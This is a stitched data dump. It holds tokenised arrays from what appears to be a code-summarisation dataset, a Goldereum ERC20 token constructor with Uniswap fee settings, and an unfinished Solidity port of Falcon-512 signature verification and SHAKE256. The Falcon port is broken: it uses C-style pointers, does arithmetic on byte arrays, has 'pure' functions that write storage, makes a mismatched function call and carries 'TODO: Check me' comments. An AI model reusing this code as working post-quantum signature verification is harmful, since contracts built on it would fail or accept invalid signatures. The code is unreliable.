0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1850,
596,
273,
576,
12648,
17877,
31,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xeCb83393F24375D8eC121A1C977f64b96c85A47C/sources/Goldereum.sol | exclude from paying fees or having max transaction amount | constructor() ERC20("Goldereum", "Goldereum") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeAddressFromMaxTransaction(address(_uniswapV2Router), true);
_interfaceUniswapV2Router = _uniswapV2Router;
_interfaceUniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());(address(_interfaceUniswapV2Pair), true);
_updateAndSetAutomatedMarketMakerPair(address(_interfaceUniswapV2Pair), true);
uint256 _buyMarketingFee = 5;
uint256 _buyLiquidityFee = 0;
uint256 _buydevfee = 0;
uint256 _sellMarketingFee = 5;
uint256 _sellLiquidityFee = 0;
uint256 _selldevfee = 0;
uint256 totalSupply = 1_000_000 * 1e18;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buydevfee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _selldevfee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingAddress = address(0x7e8C364aF8E6af1E1Ef96FE0a20F4e20d7Cc633f);
devAddress = address(0x7e8C364aF8E6af1E1Ef96FE0a20F4e20d7Cc633f);
excludeAddressFromFees(owner(), true);
excludeAddressFromFees(address(this), true);
excludeAddressFromFees(address(0xdead), true);
excludeAddressFromMaxTransaction(owner(), true);
excludeAddressFromMaxTransaction(address(this), true);
excludeAddressFromMaxTransaction(address(0xdead), true);
_mint(msg.sender, totalSupply);
}
| 9,757,683 | [
1,
10157,
628,
8843,
310,
1656,
281,
578,
7999,
943,
2492,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
1435,
4232,
39,
3462,
2932,
43,
1498,
73,
379,
3113,
315,
43,
1498,
73,
379,
7923,
288,
203,
3639,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
389,
318,
291,
91,
438,
58,
22,
8259,
273,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
12,
203,
5411,
374,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
203,
3639,
11272,
203,
203,
3639,
4433,
1887,
1265,
2747,
3342,
12,
2867,
24899,
318,
291,
91,
438,
58,
22,
8259,
3631,
638,
1769,
203,
3639,
389,
5831,
984,
291,
91,
438,
58,
22,
8259,
273,
389,
318,
291,
91,
438,
58,
22,
8259,
31,
203,
203,
3639,
389,
5831,
984,
291,
91,
438,
58,
22,
4154,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
24899,
318,
291,
91,
438,
58,
22,
8259,
18,
6848,
10756,
203,
5411,
263,
2640,
4154,
12,
2867,
12,
2211,
3631,
389,
318,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
10663,
12,
2867,
24899,
5831,
984,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
3639,
389,
2725,
13152,
22932,
690,
3882,
278,
12373,
4154,
12,
2867,
24899,
5831,
984,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
203,
3639,
2254,
5034,
389,
70,
9835,
3882,
21747,
14667,
273,
1381,
31,
203,
3639,
2254,
5034,
389,
70,
9835,
48,
18988,
24237,
14667,
273,
374,
31,
203,
3639,
2254,
5034,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
// Some parts: Apache-2.0
// ==== sha3_c.c BEGIN =====================================================================================================================
////////////////////////////////////////
// A) The following code was imported from "fips202.c"
// Based on the public domain implementation in
// crypto_hash/keccakc512/simple/ from http://bench.cr.yp.to/supercop.html
// by Ronny Van Keer
// and the public domain "TweetFips202" implementation
// from https://twitter.com/tweetfips202
// by Gilles Van Assche, Daniel J. Bernstein, and Peter Schwabe
// License: Public domain
//
// B) SHAKE256_RATE constant from...
// file: sha3_c.c
// brief: Implementation of the OQS SHA3 API via the files fips202.c
// from: PQClean (https://github.com/PQClean/PQClean/tree/master/common)
// License: MIT
////////////////////////////////////////
contract falcon512_signature_verify
{
uint32 constant SHAKE256_RATE = 136; // The SHAKE-256 byte absorption rate (aka OQS_SHA3_SHAKE256_RATE)
///////////////////////////////////////
// Constants
///////////////////////////////////////
int16 constant private CTX_ELEMENTS = 26; // Number of uint64 context elements
int16 constant private PQC_SHAKEINCCTX_BYTES = (8 * CTX_ELEMENTS); // (sizeof(uint64) * 26)
int16 constant private NROUNDS = 24;
///////////////////////////////////////
// Variables
///////////////////////////////////////
// Space to hold the state of the SHAKE-256 incremental hashing API.
// uint64[26]: Input/Output incremental state
// * First 25 values represent Keccak state.
// * 26th value represents either the number of absorbed bytes
// that have not been permuted, or not-yet-squeezed bytes.
//byte[PQC_SHAKEINCCTX_BYTES] constant private shake256_context; // Internal state.
uint64[CTX_ELEMENTS] private shake256_context64; // Internal state.
// Keccak round constants
uint64[NROUNDS] private KeccakF_RoundConstants =
[
0x0000000000000001, 0x0000000000008082,
0x800000000000808a, 0x8000000080008000,
0x000000000000808b, 0x0000000080000001,
0x8000000080008081, 0x8000000000008009,
0x000000000000008a, 0x0000000000000088,
0x0000000080008009, 0x000000008000000a,
0x000000008000808b, 0x800000000000008b,
0x8000000000008089, 0x8000000000008003,
0x8000000000008002, 0x8000000000000080,
0x000000000000800a, 0x800000008000000a,
0x8000000080008081, 0x8000000000008080,
0x0000000080000001, 0x8000000080008008
];
///////////////////////////////////////
// Implementation: Keccak
///////////////////////////////////////
////////////////////////////////////////
// Solidity implementation of the macro...
// #define ROL(a, offset) (((a) << (offset)) ^ ((a) >> (64 - (offset))))
////////////////////////////////////////
function ROL(uint64 a, uint16 offset) private pure returns (uint64)
{
return (((a) << (offset)) ^ ((a) >> (64 - (offset))));
}
///////////////////////////////////////
//
///////////////////////////////////////
function byte_array_uint16_get(bytes memory bytearray, uint32 wordindex) private pure returns (uint16 result16)
{
// If the array was an array of uint16 values:
// result16 = wordarray[wordindex];
// TODO: Check me, incl endianess
result16 = uint16((uint8(bytearray[wordindex*2]) << 8) | uint8(bytearray[wordindex*2+1]));
}
///////////////////////////////////////
//
///////////////////////////////////////
function byte_array_uint16_set(bytes memory bytearray, uint32 wordindex, uint16 value16) private pure
{
// If the array was an array of uint16 values:
// wordarray[wordindex] = value16;
// TODO: Check me, incl endianess
bytearray[wordindex*2 ] = bytes1(uint8(uint16(value16) >> 8 ));
bytearray[wordindex*2+1] = bytes1(uint8(uint16(value16) & 0x00FF));
}
///////////////////////////////////////
//
///////////////////////////////////////
function byte_array_int16_set(bytes memory bytearray, uint32 wordindex, int16 value16) private pure
{
// If the array was an array of uint16 values:
// wordarray[wordindex] = value16;
// TODO: Check me, incl endianess and sign
bytearray[wordindex*2 ] = bytes1(uint8(int16(value16) >> 8 ));
bytearray[wordindex*2+1] = bytes1(uint8(int16(value16) & 0x00FF));
}
// Moved from local vars in KeccakF1600_StatePermute() to here in order to avoid stack overflow
uint64 Aba; uint64 Abe; uint64 Abi; uint64 Abo; uint64 Abu;
uint64 Aga; uint64 Age; uint64 Agi; uint64 Ago; uint64 Agu;
uint64 Aka; uint64 Ake; uint64 Aki; uint64 Ako; uint64 Aku;
uint64 Ama; uint64 Ame; uint64 Ami; uint64 Amo; uint64 Amu;
uint64 Asa; uint64 Ase; uint64 Asi; uint64 Aso; uint64 Asu;
uint64 BCa; uint64 BCe; uint64 BCi; uint64 BCo; uint64 BCu;
uint64 Da ; uint64 De ; uint64 Di ; uint64 Do ; uint64 Du ;
uint64 Eba; uint64 Ebe; uint64 Ebi; uint64 Ebo; uint64 Ebu;
uint64 Ega; uint64 Ege; uint64 Egi; uint64 Ego; uint64 Egu;
uint64 Eka; uint64 Eke; uint64 Eki; uint64 Eko; uint64 Eku;
uint64 Ema; uint64 Eme; uint64 Emi; uint64 Emo; uint64 Emu;
uint64 Esa; uint64 Ese; uint64 Esi; uint64 Eso; uint64 Esu;
////////////////////////////////////////
// KeccakF1600_StatePermute()
// Input parameters supplied in member variable shake256_context64.
// Output values are written to the same member variable.
////////////////////////////////////////
function KeccakF1600_StatePermute() public payable
{
//fprintf(stdout, "TRACE: KeccakF1600_StatePermute()\n");
int round;
// copyFromState(A, state)
Aba = shake256_context64[ 0]; Abe = shake256_context64[ 1]; Abi = shake256_context64[ 2]; Abo = shake256_context64[ 3]; Abu = shake256_context64[ 4];
Aga = shake256_context64[ 5]; Age = shake256_context64[ 6]; Agi = shake256_context64[ 7]; Ago = shake256_context64[ 8]; Agu = shake256_context64[ 9];
Aka = shake256_context64[10]; Ake = shake256_context64[11]; Aki = shake256_context64[12]; Ako = shake256_context64[13]; Aku = shake256_context64[14];
Ama = shake256_context64[15]; Ame = shake256_context64[16]; Ami = shake256_context64[17]; Amo = shake256_context64[18]; Amu = shake256_context64[19];
Asa = shake256_context64[20]; Ase = shake256_context64[21]; Asi = shake256_context64[22]; Aso = shake256_context64[23]; Asu = shake256_context64[24];
for (round = 0; round < NROUNDS; round += 2)
{
// prepareTheta
BCa = Aba ^ Aga ^ Aka ^ Ama ^ Asa;
BCe = Abe ^ Age ^ Ake ^ Ame ^ Ase;
BCi = Abi ^ Agi ^ Aki ^ Ami ^ Asi;
BCo = Abo ^ Ago ^ Ako ^ Amo ^ Aso;
BCu = Abu ^ Agu ^ Aku ^ Amu ^ Asu;
// thetaRhoPiChiIotaPrepareTheta(round , A, E)
Da = BCu ^ ROL(BCe, 1);
De = BCa ^ ROL(BCi, 1);
Di = BCe ^ ROL(BCo, 1);
Do = BCi ^ ROL(BCu, 1);
Du = BCo ^ ROL(BCa, 1);
Aba ^= Da;
BCa = Aba;
Age ^= De;
BCe = ROL(Age, 44);
Aki ^= Di;
BCi = ROL(Aki, 43);
Amo ^= Do;
BCo = ROL(Amo, 21);
Asu ^= Du;
BCu = ROL(Asu, 14);
Eba = BCa ^ ((~BCe) & BCi);
Eba ^= KeccakF_RoundConstants[uint256(round)];
Ebe = BCe ^ ((~BCi) & BCo);
Ebi = BCi ^ ((~BCo) & BCu);
Ebo = BCo ^ ((~BCu) & BCa);
Ebu = BCu ^ ((~BCa) & BCe);
Abo ^= Do;
BCa = ROL(Abo, 28);
Agu ^= Du;
BCe = ROL(Agu, 20);
Aka ^= Da;
BCi = ROL(Aka, 3);
Ame ^= De;
BCo = ROL(Ame, 45);
Asi ^= Di;
BCu = ROL(Asi, 61);
Ega = BCa ^ ((~BCe) & BCi);
Ege = BCe ^ ((~BCi) & BCo);
Egi = BCi ^ ((~BCo) & BCu);
Ego = BCo ^ ((~BCu) & BCa);
Egu = BCu ^ ((~BCa) & BCe);
Abe ^= De;
BCa = ROL(Abe, 1);
Agi ^= Di;
BCe = ROL(Agi, 6);
Ako ^= Do;
BCi = ROL(Ako, 25);
Amu ^= Du;
BCo = ROL(Amu, 8);
Asa ^= Da;
BCu = ROL(Asa, 18);
Eka = BCa ^ ((~BCe) & BCi);
Eke = BCe ^ ((~BCi) & BCo);
Eki = BCi ^ ((~BCo) & BCu);
Eko = BCo ^ ((~BCu) & BCa);
Eku = BCu ^ ((~BCa) & BCe);
Abu ^= Du;
BCa = ROL(Abu, 27);
Aga ^= Da;
BCe = ROL(Aga, 36);
Ake ^= De;
BCi = ROL(Ake, 10);
Ami ^= Di;
BCo = ROL(Ami, 15);
Aso ^= Do;
BCu = ROL(Aso, 56);
Ema = BCa ^ ((~BCe) & BCi);
Eme = BCe ^ ((~BCi) & BCo);
Emi = BCi ^ ((~BCo) & BCu);
Emo = BCo ^ ((~BCu) & BCa);
Emu = BCu ^ ((~BCa) & BCe);
Abi ^= Di;
BCa = ROL(Abi, 62);
Ago ^= Do;
BCe = ROL(Ago, 55);
Aku ^= Du;
BCi = ROL(Aku, 39);
Ama ^= Da;
BCo = ROL(Ama, 41);
Ase ^= De;
BCu = ROL(Ase, 2);
Esa = BCa ^ ((~BCe) & BCi);
Ese = BCe ^ ((~BCi) & BCo);
Esi = BCi ^ ((~BCo) & BCu);
Eso = BCo ^ ((~BCu) & BCa);
Esu = BCu ^ ((~BCa) & BCe);
// prepareTheta
BCa = Eba ^ Ega ^ Eka ^ Ema ^ Esa;
BCe = Ebe ^ Ege ^ Eke ^ Eme ^ Ese;
BCi = Ebi ^ Egi ^ Eki ^ Emi ^ Esi;
BCo = Ebo ^ Ego ^ Eko ^ Emo ^ Eso;
BCu = Ebu ^ Egu ^ Eku ^ Emu ^ Esu;
// thetaRhoPiChiIotaPrepareTheta(round+1, E, A)
Da = BCu ^ ROL(BCe, 1);
De = BCa ^ ROL(BCi, 1);
Di = BCe ^ ROL(BCo, 1);
Do = BCi ^ ROL(BCu, 1);
Du = BCo ^ ROL(BCa, 1);
Eba ^= Da;
BCa = Eba;
Ege ^= De;
BCe = ROL(Ege, 44);
Eki ^= Di;
BCi = ROL(Eki, 43);
Emo ^= Do;
BCo = ROL(Emo, 21);
Esu ^= Du;
BCu = ROL(Esu, 14);
Aba = BCa ^ ((~BCe) & BCi);
Aba ^= KeccakF_RoundConstants[uint256(round + 1)];
Abe = BCe ^ ((~BCi) & BCo);
Abi = BCi ^ ((~BCo) & BCu);
Abo = BCo ^ ((~BCu) & BCa);
Abu = BCu ^ ((~BCa) & BCe);
Ebo ^= Do;
BCa = ROL(Ebo, 28);
Egu ^= Du;
BCe = ROL(Egu, 20);
Eka ^= Da;
BCi = ROL(Eka, 3);
Eme ^= De;
BCo = ROL(Eme, 45);
Esi ^= Di;
BCu = ROL(Esi, 61);
Aga = BCa ^ ((~BCe) & BCi);
Age = BCe ^ ((~BCi) & BCo);
Agi = BCi ^ ((~BCo) & BCu);
Ago = BCo ^ ((~BCu) & BCa);
Agu = BCu ^ ((~BCa) & BCe);
Ebe ^= De;
BCa = ROL(Ebe, 1);
Egi ^= Di;
BCe = ROL(Egi, 6);
Eko ^= Do;
BCi = ROL(Eko, 25);
Emu ^= Du;
BCo = ROL(Emu, 8);
Esa ^= Da;
BCu = ROL(Esa, 18);
Aka = BCa ^ ((~BCe) & BCi);
Ake = BCe ^ ((~BCi) & BCo);
Aki = BCi ^ ((~BCo) & BCu);
Ako = BCo ^ ((~BCu) & BCa);
Aku = BCu ^ ((~BCa) & BCe);
Ebu ^= Du;
BCa = ROL(Ebu, 27);
Ega ^= Da;
BCe = ROL(Ega, 36);
Eke ^= De;
BCi = ROL(Eke, 10);
Emi ^= Di;
BCo = ROL(Emi, 15);
Eso ^= Do;
BCu = ROL(Eso, 56);
Ama = BCa ^ ((~BCe) & BCi);
Ame = BCe ^ ((~BCi) & BCo);
Ami = BCi ^ ((~BCo) & BCu);
Amo = BCo ^ ((~BCu) & BCa);
Amu = BCu ^ ((~BCa) & BCe);
Ebi ^= Di;
BCa = ROL(Ebi, 62);
Ego ^= Do;
BCe = ROL(Ego, 55);
Eku ^= Du;
BCi = ROL(Eku, 39);
Ema ^= Da;
BCo = ROL(Ema, 41);
Ese ^= De;
BCu = ROL(Ese, 2);
Asa = BCa ^ ((~BCe) & BCi);
Ase = BCe ^ ((~BCi) & BCo);
Asi = BCi ^ ((~BCo) & BCu);
Aso = BCo ^ ((~BCu) & BCa);
Asu = BCu ^ ((~BCa) & BCe);
}
// copyToState(state, A)
shake256_context64[ 0] = Aba; shake256_context64[ 1] = Abe; shake256_context64[ 2] = Abi; shake256_context64[ 3] = Abo; shake256_context64[ 4] = Abu;
shake256_context64[ 5] = Aga; shake256_context64[ 6] = Age; shake256_context64[ 7] = Agi; shake256_context64[ 8] = Ago; shake256_context64[ 9] = Agu;
shake256_context64[10] = Aka; shake256_context64[11] = Ake; shake256_context64[12] = Aki; shake256_context64[13] = Ako; shake256_context64[14] = Aku;
shake256_context64[15] = Ama; shake256_context64[16] = Ame; shake256_context64[17] = Ami; shake256_context64[18] = Amo; shake256_context64[19] = Amu;
shake256_context64[20] = Asa; shake256_context64[21] = Ase; shake256_context64[22] = Asi; shake256_context64[23] = Aso; shake256_context64[24] = Asu;
}
////////////////////////////////////////
//
////////////////////////////////////////
function keccak_inc_init() public payable
{
uint32 i;
//fprintf(stdout, "TRACE: keccak_inc_init()\n");
for (i = 0; i < 25; ++i)
{
shake256_context64[i] = 0;
}
shake256_context64[25] = 0;
}
////////////////////////////////////////
//
////////////////////////////////////////
function keccak_inc_absorb(uint32 r, bytes memory m, uint32 mlen) public pure
{
uint32 i;
//fprintf(stdout, "TRACE: keccak_inc_absorb()\n");
while (mlen + shake256_context64[25] >= r)
{
for (i = 0; i < r - uint32(shake256_context64[25]); i++)
{
///////////////////////////////////////////////////////////////////////////
//uint64 x = shake256_context64[(shake256_context64[25] + i) >> 3];
//uint64 y5 = shake256_context64[25] + i;
//uint64 y6 = y5 & 0x07;
//uint64 y7 = 8 * y6;
//uint8 y8 = uint8(m[i]);
//uint64 y9 = uint64(y8);
//uint64 y = y9 << y7;
//
//x ^= y;
///////////////////////////////////////////////////////////////////////////
shake256_context64[(shake256_context64[25] + i) >> 3] ^= (uint64(uint8(m[i])) << (8 * ((shake256_context64[25] + i) & 0x07)));
}
mlen -= uint32(r - shake256_context64[25]);
m += (r - shake256_context64[25]);
shake256_context64[25] = 0;
// Input parameters supplied in member variable shake256_context64.
// Output values are written to the same member variable.
KeccakF1600_StatePermute();
}
for (i = 0; i < mlen; i++)
{
shake256_context64[(shake256_context64[25] + i) >> 3] ^= (uint64(uint8(m[i])) << (8 * ((shake256_context64[25] + i) & 0x07)));
}
shake256_context64[25] += mlen;
}
/*************************************************
* Name: keccak_inc_finalize
*
* Description: Finalizes Keccak absorb phase, prepares for squeezing
*
* Arguments: - uint32 r : rate in bytes (e.g., 168 for SHAKE128)
* - uint8 p : domain-separation byte for different Keccak-derived functions
**************************************************/
////////////////////////////////////////
//
////////////////////////////////////////
function keccak_inc_finalize(uint32 r, uint8 p) public payable
{
//fprintf(stdout, "TRACE: keccak_inc_finalize()\n");
shake256_context64[shake256_context64[25] >> 3] ^= uint64(p) << (8 * (shake256_context64[25] & 0x07));
shake256_context64[(r - 1) >> 3] ^= (uint64(128) << (8 * ((r - 1) & 0x07)));
shake256_context64[25] = 0;
}
////////////////////////////////////////
//
////////////////////////////////////////
function keccak_inc_squeeze(/*uint8* h, */ uint32 outlen, uint32 r) private pure returns (bytes memory h)
{
//fprintf(stdout, "TRACE: keccak_inc_squeeze()\n");
uint32 i;
for (i = 0; i < outlen && i < shake256_context64[25]; i++)
{
h[i] = uint8(shake256_context64[(r - shake256_context64[25] + i) >> 3] >> (8 * ((r - shake256_context64[25] + i) & 0x07)));
}
h += i;
outlen -= i;
shake256_context64[25] -= i;
while (outlen > 0)
{
// Input parameters supplied in member variable shake256_context64.
// Output values are written to the same member variable.
KeccakF1600_StatePermute(shake256_context64);
for (i = 0; i < outlen && i < r; i++)
{
h[i] = uint8(shake256_context64[i >> 3] >> (8 * (i & 0x07)));
}
h += i;
outlen -= i;
shake256_context64[25] = r - i;
}
r = r;
for (i = 0; i < outlen; i++)
{
h[i] = 0xAA;
}
}
///////////////////////////////////////
// Implementation: OQS_SHA3_shake256_inc
///////////////////////////////////////
////////////////////////////////////////
//
////////////////////////////////////////
function OQS_SHA3_shake256_inc_init() public payable
{
int16 ii;
//fprintf(stdout, "TRACE: OQS_SHA3_shake256_inc_init()\n");
for (ii=0; ii < CTX_ELEMENTS; ii++)
shake256_context64[uint256(ii)] = 0;
keccak_inc_init();
}
////////////////////////////////////////
//
////////////////////////////////////////
function OQS_SHA3_shake256_inc_absorb(bytes memory input, uint32 inlen) public pure
{
//fprintf(stdout, "TRACE: OQS_SHA3_shake256_inc_absorb()\n");
keccak_inc_absorb(SHAKE256_RATE, input, inlen);
}
////////////////////////////////////////
//
////////////////////////////////////////
function OQS_SHA3_shake256_inc_finalize() public payable
{
//fprintf(stdout, "TRACE: OQS_SHA3_shake256_inc_finalize()\n");
keccak_inc_finalize(SHAKE256_RATE, 0x1F);
}
////////////////////////////////////////
//
////////////////////////////////////////
function OQS_SHA3_shake256_inc_squeeze(/*uint8* output,*/ uint32 outlen) public pure returns (bytes memory output)
{
//fprintf(stdout, "TRACE: OQS_SHA3_shake256_inc_squeeze()\n");
output = keccak_inc_squeeze(outlen, SHAKE256_RATE);
}
////////////////////////////////////////
//
////////////////////////////////////////
function OQS_SHA3_shake256_inc_ctx_release() public payable
{
int16 ii;
//fprintf(stdout, "TRACE: OQS_SHA3_shake256_inc_ctx_release()\n");
// Blat over any sensitive data
for (ii=0; ii < CTX_ELEMENTS; ii++)
shake256_context64[uint256(ii)] = 0;
}
//}
// ==== sha3_c.c END =====================================================================================================================
// ==== common.c BEGIN =====================================================================================================================
//contract lib_falcon_common
//{
uint16[11] overtab = [ 0, /* unused */ 65, 67, 71, 77, 86, 100, 122, 154, 205, 287 ];
////////////////////////////////////////
//
////////////////////////////////////////
function PQCLEAN_FALCON512_CLEAN_hash_to_point_ct(bytes memory /*uint16**/ x, uint32 logn, bytes memory /* uint8 * */ workingStorage) public view
{
uint32 n;
uint32 n2;
uint32 u;
uint32 m;
uint32 p;
uint32 over;
//bytes memory /* uint16* */ tt1;
uint16[63] memory tt2;
//fprintf(stdout, "INFO: PQCLEAN_FALCON512_CLEAN_hash_to_point_ct() ENTRY\n");
n = uint32(1) << logn;
n2 = n << 1;
over = overtab[logn];
m = n + over;
// tt1 = (uint16 *)workingStorage;
for (u = 0; u < m; u++)
{
uint8[2] memory buf;
uint32 w;
uint32 wr;
OQS_SHA3_shake256_inc_squeeze(/*buf,*/ 2 /*sizeof(buf)*/);
w = (uint32(buf[0]) << 8) | uint32(buf[1]);
wr = w - (uint32(24578) & (((w - 24578) >> 31) - 1));
wr = wr - (uint32(24578) & (((wr - 24578) >> 31) - 1));
wr = wr - (uint32(12289) & (((wr - 12289) >> 31) - 1));
wr |= ((w - 61445) >> 31) - 1;
if (u < n)
{
byte_array_uint16_set(x,u,uint16(wr)); //x[u] = uint16(wr);
}
else if (u < n2)
{
byte_array_uint16_set(workingStorage, (u-n), uint16(wr)); //tt1[u - n] = uint16(wr);
}
else
{
tt2[u - n2] = uint16(wr);
}
}
for (p = 1; p <= over; p <<= 1)
{
uint32 v;
v = 0;
for (u = 0; u < m; u++)
{
uint16 *s;
uint16 *d;
uint32 j;
uint32 sv;
uint32 dv;
uint32 mk;
if (u < n)
{
s = &x[u];
}
else if (u < n2)
{
s = &tt1[u - n];
}
else
{
s = &tt2[u - n2];
}
sv = *s;
j = u - v;
mk = (sv >> 15) - 1U;
v -= mk;
if (u < p)
{
continue;
}
if ((u - p) < n)
{
d = &x[u - p];
}
else if ((u - p) < n2)
{
d = &tt1[(u - p) - n];
}
else
{
d = &tt2[(u - p) - n2];
}
dv = *d;
mk &= -(((j & p) + 0x01FF) >> 9);
*s = uint16(sv ^ (mk & (sv ^ dv)));
*d = uint16(dv ^ (mk & (sv ^ dv)));
}
}
//fprintf(stdout, "INFO: PQCLEAN_FALCON512_CLEAN_hash_to_point_ct() EXIT\n");
}
////////////////////////////////////////
//
////////////////////////////////////////
function PQCLEAN_FALCON512_CLEAN_is_short(bytes memory /* const int16_t * */ s1, bytes memory /* const int16_t* */ s2, uint32 logn) public pure returns (int32)
{
uint32 n;
uint32 u;
uint32 s;
uint32 ng;
n = uint32(1) << logn;
s = 0;
ng = 0;
for (u = 0; u < n; u++)
{
int32 z;
z = byte_array_uint16_get(s1,u); //z = s1[u];
s += uint32(z * z);
ng |= s;
z = byte_array_uint16_get(s2,u); //z = s2[u];
s += uint32(z * z);
ng |= s;
}
s |= -(ng >> 31);
//return s < ((uint32(7085) * uint32(12289)) >> (10 - logn));
uint32 val = ((uint32(7085) * uint32(12289)) >> (10 - logn));
if (s < val)
return 1;
return 0;
}
//}
// ==== common.c END =====================================================================================================================
// ==== codec.c BEGIN =====================================================================================================================
//library lib_falcon_codec
//{
////////////////////////////////////////
//
////////////////////////////////////////
function PQCLEAN_FALCON512_CLEAN_modq_decode(bytes memory /*uint16 **/ x, uint16 logn, bytes memory /*const void**/ In, uint32 max_In_len) public pure returns (uint32)
{
uint32 n;
uint32 In_len;
uint32 u;
//uint8 * buf;
uint32 buf_ndx;
uint32 acc;
uint32 acc_len;
n = uint32(1) << logn;
In_len = ((n * 14) + 7) >> 3;
if (In_len > max_In_len)
{
return 0;
}
//buf = In;
buf_ndx = 0;
acc = 0;
acc_len = 0;
u = 0;
while (u < n)
{
acc = (acc << 8) | uint32(uint8(In[buf_ndx++])); // acc = (acc << 8) | (*buf++);
acc_len += 8;
if (acc_len >= 14)
{
uint32 w;
acc_len -= 14;
w = (acc >> acc_len) & 0x3FFF;
if (w >= 12289)
{
return 0;
}
byte_array_uint16_set(x,u,uint16(w)); //x[u++] = uint16(w);
u++;
}
}
